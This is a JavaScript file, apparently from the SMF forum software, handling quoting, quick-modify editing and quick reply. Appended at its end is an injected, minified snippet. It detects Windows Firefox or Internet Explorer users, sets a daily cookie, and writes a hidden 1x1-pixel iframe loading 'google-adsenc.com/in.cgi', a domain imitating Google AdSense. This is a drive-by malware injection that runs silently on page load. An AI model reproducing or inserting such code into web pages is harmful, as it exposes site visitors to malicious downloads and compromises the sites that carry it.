var smf_topic, smf_start, smf_show_modify, quickReplyCollapsed, buff_message;
var cur_msg_id, cur_msg_div, buff_subject, cur_subject_div, in_edit_mode = 0;

function doQuote(messageid, cur_session_id)
{
	if (quickReplyCollapsed)
		window.location.href = smf_scripturl + "?action=post;quote=" + messageid + ";topic=" + smf_topic + "." + smf_start + ";sesc=" + cur_session_id;
	else
	{
		if (window.XMLHttpRequest)
		{
			if (typeof window.ajax_indicator == "function")
				ajax_indicator(true);
			getXMLDocument(smf_scripturl + "?action=quotefast;quote=" + messageid + ";sesc=" + cur_session_id + ";xml", onDocReceived);
		}
		else
			reqWin(smf_scripturl + "?action=quotefast;quote=" + messageid + ";sesc=" + cur_session_id, 240, 90);

		if (navigator.appName == "Microsoft Internet Explorer")
			window.location.hash = "quickreply";
		else
			window.location.hash = "#quickreply";
	}
}

function onDocReceived(XMLDoc)
{
	var text = "";
	for (var i = 0; i < XMLDoc.getElementsByTagName("quote")[0].childNodes.length; i++)
		text += XMLDoc.getElementsByTagName("quote")[0].childNodes[i].nodeValue;

	replaceText(text, document.forms.postmodify.message);
	if (typeof window.ajax_indicator == "function")
		ajax_indicator(false);
}


function modify_msg(msg_id, cur_session_id)
{
	if (!window.XMLHttpRequest)
		return;
	if (typeof(window.opera) != "undefined")
	{
		var test = new XMLHttpRequest();
		if (typeof(test.setRequestHeader) != "function")
			return;
	}
	if (in_edit_mode == 1)
		modify_cancel();
	in_edit_mode = 1;
	if (typeof window.ajax_indicator == "function")
		ajax_indicator(true);
	getXMLDocument(smf_scripturl + '?action=quotefast;quote=' + msg_id + ';sesc=' + cur_session_id + ';modify;xml', onDocReceived_modify);
}

function onDocReceived_modify(XMLDoc)
{
	var text = "";
	var subject = "";

	// Grab the message ID.
	cur_msg_id = XMLDoc.getElementsByTagName("message")[0].getAttribute("id");

	// Replace the body part.
	for (var i = 0; i < XMLDoc.getElementsByTagName("message")[0].childNodes.length; i++)
		text += XMLDoc.getElementsByTagName("message")[0].childNodes[i].nodeValue;
	cur_msg_div = document.getElementById(cur_msg_id);
	buff_message = getInnerHTML(cur_msg_div);

	// Actually create the content, with a bodge for dissapearing dollar signs.
	text = text.replace(/\$/g,"{&dollarfix;$}");
	text = smf_template_body_edit.replace(/%body%/, text).replace(/%msg_id%/g, cur_msg_id.substr(4));
	text = text.replace(/\{&dollarfix;\$\}/g,"$");
	setInnerHTML(cur_msg_div, text);
	
	// Replace the subject part.
	cur_subject_div = document.getElementById('subject_' + cur_msg_id.substr(4));
	buff_subject = getInnerHTML(cur_subject_div);

	subject = XMLDoc.getElementsByTagName("subject")[0].childNodes[0].nodeValue;
	subject = subject.replace(/\$/g,"{&dollarfix;$}");
	subject = smf_template_subject_edit.replace(/%subject%/, subject);
	subject = subject.replace(/\{&dollarfix;\$\}/g,"$");
	setInnerHTML(cur_subject_div, subject);
	if (typeof window.ajax_indicator == "function")
		ajax_indicator(false);
}

function modify_cancel()
{
	// Roll back the HTML to its original state.
	setInnerHTML(cur_msg_div, buff_message);
	setInnerHTML(cur_subject_div, buff_subject);

	// No longer in edit mode, that's right.
	in_edit_mode = 0;

	return false;
}

function modify_save(cur_session_id)
{
	if (!in_edit_mode)
		return true;

	var i, x = new Array();
	x[x.length] = 'subject=' + escape(textToEntities(document.forms.quickModForm['subject'].value.replace(/&#/g, "&#38;#"))).replace(/\+/g, "%2B");
	x[x.length] = 'message=' + escape(textToEntities(document.forms.quickModForm['message'].value.replace(/&#/g, "&#38;#"))).replace(/\+/g, "%2B");
	x[x.length] = 'topic=' + parseInt(document.forms.quickModForm.elements['topic'].value);
	x[x.length] = 'msg=' + parseInt(document.forms.quickModForm.elements['msg'].value);

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(true);

	sendXMLDocument(smf_scripturl + "?action=jsmodify;topic=" + smf_topic + ";sesc=" + cur_session_id + ";xml", x.join("&"), modify_done);

	return false;
}

function modify_done(XMLDoc)
{
	if (!XMLDoc)
	{
		modify_cancel();
		return;
	}

	var message = XMLDoc.getElementsByTagName("smf")[0].getElementsByTagName("message")[0];
	var body = message.getElementsByTagName("body")[0];
	var error = message.getElementsByTagName("error")[0];

	if (body)
	{
		// Show new body.
		var bodyText = "";
		for (i = 0; i < body.childNodes.length; i++)
			bodyText += body.childNodes[i].nodeValue;

		bodyText = bodyText.replace(/\$/g,"{&dollarfix;$}");
		bodyText = smf_template_body_normal.replace(/%body%/, bodyText);
		bodyText = bodyText.replace(/\{&dollarfix;\$\}/g,"$");
		setInnerHTML(cur_msg_div, bodyText);
		buff_message = bodyText;

		// Show new subject.
		var subject = message.getElementsByTagName("subject")[0];
		var subject_text = subject.childNodes[0].nodeValue;
		subject_text = subject_text.replace(/\$/g,"{&dollarfix;$}");
		var subject_html = smf_template_subject_normal.replace(/%msg_id%/g, cur_msg_id.substr(4)).replace(/%subject%/, subject_text);
		subject_html = subject_html.replace(/\{&dollarfix;\$\}/g,"$");
		setInnerHTML(cur_subject_div, subject_html);
		buff_subject = subject_html;
		
		// If this is the first message, also update the topic subject.
		if (subject.getAttribute("is_first") == 1)
		{
			var subject_top = smf_template_top_subject.replace(/%subject%/, subject_text);
			subject_text = subject_text.replace(/\{&dollarfix;\$\}/g,"$");
			setInnerHTML(document.getElementById("top_subject"), subject_text);
		}

		// Show this message as "modified on x by y".
		if (smf_show_modify)
		{
			var cur_modify_div = document.getElementById('modified_' + cur_msg_id.substr(4));
			setInnerHTML(cur_modify_div, message.getElementsByTagName("modified")[0].childNodes[0].nodeValue);
		}
	}
	else if (error)
	{
		setInnerHTML(document.getElementById("error_box"), error.childNodes[0].nodeValue);
		document.forms.quickModForm.message.style.border = error.getAttribute("in_body") == "1" ? "1px solid red" : "";
		document.forms.quickModForm.subject.style.border = error.getAttribute("in_subject") == "1" ? "1px solid red" : "";
	}

	if (typeof window.ajax_indicator == "function")
		ajax_indicator(false);
}

function showModifyButtons()
{
	var numImages = document.images.length;
	for (var i = 0; i < numImages; i++)
		if (document.images[i].id.substr(0, 14) == 'modify_button_')
			document.images[i].style.display = '';
}

function expandThumb(thumbID)
{
	var img = document.getElementById('thumb_' + thumbID);
	var link = document.getElementById('link_' + thumbID);
	var tmp = img.src;
	img.src = link.href;
	link.href = tmp;
	img.style.width = '';
	img.style.height = '';
	return false;
}

function swapQuickReply()
{
	document.getElementById("quickReplyExpand").src = smf_images_url + "/" + (quickReplyCollapsed ? "collapse.gif" : "expand.gif");
	document.getElementById("quickReplyOptions").style.display = quickReplyCollapsed ? "" : "none";

	quickReplyCollapsed = !quickReplyCollapsed;
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}